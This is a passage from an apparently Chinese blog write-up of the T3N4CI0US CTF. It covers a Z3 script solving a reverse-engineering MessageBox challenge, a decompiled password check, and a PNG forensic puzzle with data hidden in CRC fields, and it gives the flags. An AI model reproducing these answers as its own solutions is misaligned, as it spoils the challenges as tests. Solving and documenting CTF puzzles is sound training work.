          54.     Text[3] = v8[rand() % 2 + 6];
          55.     LOBYTE(v15) = v8[rand() % 2 + 16];
          56.     BYTE1(v14) = v8[11 - rand() % 2];
          57.     HIBYTE(v14) = v8[rand() % 2 + 14];
          58.     LOBYTE(v14) = v8[rand() % 2 + 8];
          59.     BYTE2(v14) = v8[13 - rand() % 2];
          60.     Text[1] = v8[3 - rand() % 2];
          61.     HIBYTE(v15) = 0;
          62. '''
          63. #
          64. r = '10111100110101100000101100011110001110101111010010'
          65. s.add(v8[0 + int(r[0])] == Text[0])
          66. s.add(v8[4 + int(r[1])] == Text[2])
          67. s.add(v8[6 + int(r[2])] == Text[3])
          68. s.add(v8[16 + int(r[3])] == Text[8])
          69. s.add(v8[11 - int(r[4])] == Text[5])
          70. s.add(v8[14 + int(r[5])] == Text[7])
          71. s.add(v8[8 + int(r[6])] == Text[4])
          72. s.add(v8[12 + int(r[7])] == Text[6])
          73. s.add(v8[2 + int(r[8])] == Text[1])
          74.  
          75. '''
          76.     Caption[0] = v8[rand() % 2 + 18];
          77.     Caption[1] = v8[rand() % 2 + 20];
          78.     Caption[2] = v8[rand() % 2 + 22];
          79.     Caption[3] = v8[rand() % 2 + 24];
          80.     LOBYTE(v11) = v8[rand() % 2 + 26];
          81.     BYTE1(v11) = v8[rand() % 2 + 28];
          82.     BYTE2(v11) = 79;
          83.     HIBYTE(v11) = v8[rand() % 2 + 32];
          84.     v12 = (unsigned __int8)v8[rand() % 2 + 34];
          85. '''
          86. s.add(v8[18 + int(r[9])] == Caption[0])
          87. s.add(v8[20 + int(r[10])] == Caption[1])
          88. s.add(v8[22 + int(r[11])] == Caption[2])
          89. s.add(v8[24 + int(r[12])] == Caption[3])
          90. s.add(v8[26 + int(r[13])] == Caption[4])
          91. s.add(v8[28 + int(r[14])] == Caption[5])
          92. s.add(v8[32 + int(r[15])] == Caption[7])
          93. s.add(v8[34 + int(r[16])] == Caption[8])
          94.  
          95. s.check()
          96. d = s.model()
          97. for i in range(19):
          98.     print(chr(d[Buffer[i]].as_long()), end='')
          99.  
          100. #i7's_zer0_n0t_B19_O
          101. #T3N4CI0US{i7's_zer0_n0t_B19_O}
          102.

          题目提示

          Make the MessageBox print 'CoNGRAtS!' in text and 'T3N4CI0US' in caption! Example: MessageBox.jpg (with file data, no program patches are allowed) flag format is T3N4CI0US{FileData}

      5. Swood

          1. int __cdecl main(int argc, const char **argv, const char **envp)
          2. {
          3.   char s1[48]; // [rsp+10h] [rbp-30h] BYREF
          4.  
          5.   if ( argc > 1 )
          6.   {
          7.     strcpy(s1, "da39a3ee5e6b4b0d3255bfef95601890afd80709");
          8.     if ( !strncmp(s1, argv[1], 0x28uLL) )
          9.     {
          10.       puts("Correect password!");
          11.       return 0;
          12.     }
          13.     else
          14.     {
          15.       puts("Wrong password!");
          16.       return 1;
          17.     }
          18.   }
          19.   else
          20.   {
          21.     printf("Usage: %s \n", *argv);
          22.     return 1;
          23.   }
          24. }

          直接比较就不说啥了，居然正确

    5. Forensic

      1. yhparg

      2. docx

      3. password

        1. 给出一个图片，010打开发现CRC错，错的CRC正好都是可显示字符 
          1. *ERROR: CRC Mismatch @ chunk[2]; in data: 34706869; expected: 608c6056
          2. *ERROR: CRC Mismatch @ chunk[3]; in data: 4b624a4d; expected: fd917212
          3. *ERROR: CRC Mismatch @ chunk[4]; in data: 4d326176; expected: 1887ceca
          4. *ERROR: CRC Mismatch @ chunk[5]; in data: 52676b31; expected: d3be40b9
          5. *ERROR: CRC Mismatch @ chunk[6]; in data: 59763645; expected: 2828dec9
          6. *ERROR: CRC Mismatch @ chunk[7]; in data: 71594d70; expected: f3bac867
          7. *ERROR: CRC Mismatch @ chunk[8]; in data: 3143636e; expected: 368fbf8b
          8. *ERROR: CRC Mismatch @ chunk[9]; in data: 4e696265; expected: 07df8db0
          9. *ERROR: CRC Mismatch @ chunk[10]; in data: 56756345; expected: 54c5867d
          10. *ERROR: CRC Mismatch @ chunk[11]; in data: 59696d7a; expected: 9078d2bd

          结果再base58

          1. >>> bytes.fromhex('347068694b624a4d4d32617652676b315976364571594d703143636e4e6962655675634559696d7a')
          2. b'4phiKbJMM2avRgk1Yv6EqYMp1CcnNibeVucEYimz'
          3. #T3N4CI0US{Is_escape_V4ry_Fun}

      4. key

        1. 附件需要从谷歌网盘下。

  • 相关阅读:
    python中Thread实现多线程任务
    微服务实战微服务网关Zuul入门与实战
    ARM 37 个通用寄存器详解
    远程桌面穿透SakuraFrp使用
    【allegro 17.4软件操作保姆级教程九】布线后检查与调整
    引擎入门 | Unity UI简介–第2部分（1）
    基于AVR128单片机抢答器控制系统
    JavaScript知识点复习--思维导图（全）
    JAVAEE—HTTP
    产业集群的转型升级需要各个方面的协同转型——以河北吉力宝为例
  • 原文地址：https://blog.csdn.net/weixin_52640415/article/details/126303732